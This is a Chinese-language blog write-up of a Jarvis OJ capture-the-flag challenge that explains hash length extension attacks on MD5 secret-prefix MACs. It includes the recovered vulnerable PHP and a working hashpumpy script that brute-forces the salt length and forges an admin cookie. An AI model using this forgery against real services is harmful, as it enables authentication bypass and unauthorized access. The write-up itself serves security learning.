Automne's Shadow.

Hash Length Extension Attack Conclusion

2019/06/26 Share

Crypto

这种攻击一般发生在MAC(Message Authentication Code)消息认证码里,一般的MAC算法是这样的:服务器把secret和message连接到一起,然后用消息摘要算法如MD5或SHA1取摘要。研究发现MD4、MD5、RIPEMD-160、SHA-0、SHA-1、SHA-256、SHA-512、WHIRLPOOL等摘要算法受此攻击,但MD2、SHA-224和SHA-384不受此攻击。

对MD5、SHA-1、SHA-2等hash摘要算法,当知道hash(secret + message)的值及secret长度的情况下,可以轻松推算出hash(secret + message||padding||m’)。在这里m’是任意数据,||是连接符,padding是secret后的填充字节。hash的padding字节包含整个消息的长度,因此,为了能准确计算出padding的值,secret的长度我们也是需要知道的。

可以使用HashPump来做运算https://github.com/bwall/HashPump,安装后,再用:

1
pip install hashpumpy

安装python库。

以Jarvis OJ里的一道题(flag在管理员手里)学习下哈希长度扩展攻击。

抓包,在响应包里可以看到设置了role和hsh的cookie值。

automne

将role的值进行url解码,发现这是反序列化后的形式。

automne

接下来再使用工具扫一下,看看有没有备份文件,然后扫到了index.php~。

automne

查看文件内容可知这是vim的备份文件,重命名为index.php.swp并使用vim –r index.php.swp还原,还原仍然有点问题,不过基本可以知道代码逻辑,整理后其代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

其中下面这段代码最关键

1
2
3
4
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;}

role的值默认为guest,要想绕过判断,可知要求的role的值为admin,并且设置的hsh的值为md5(salt值+strrev(role的序列化值)),也就是说md5(salt值+strrev(s:5:“admin”😉),所以,问题的关键在于不知道salt的值。

可以看到这里是典型的hash(secret + message)的形式,而且消息摘要算法使用的是MD5,所以使用哈希拓展攻击来获取符合条件的hash值,形如md5(salt值+’;“tseug”:5:s’+填充字段+’;“nimda”:5:s’)。

又因为salt值的长度未知,需要爆破。使用python里的hashpumpy插件来做。

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-
import requests,hashpumpy,urllib

def test():
url = 'http://web.jarvisoj.com:32778/'
md5 = '3a4727d57463f122833d9e732f94e4e0'
rawStr = ';"tseug":5:s'
resStr = ';"nimda":5:s'
for i in range(15):
digest, message = hashpumpy.hashpump(md5,rawStr,resStr,i)
payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}
print i,payload
html = requests.get(url,cookies=payload).text
if 'Welcome' in html:
print html
test()

运行脚本即可得到flag

automne

可见,salt值的长度为12。在知道salt长度的情况下,可以使用HashPump工具来做。注意填入的Signature就是guest默认值对应的hash

automne

可以看到填好四个值之后,就会返回hash值和拓展之后的数据,需要将\x00等进行url编码后再提交即可,注意逆序。

automne

CATALOG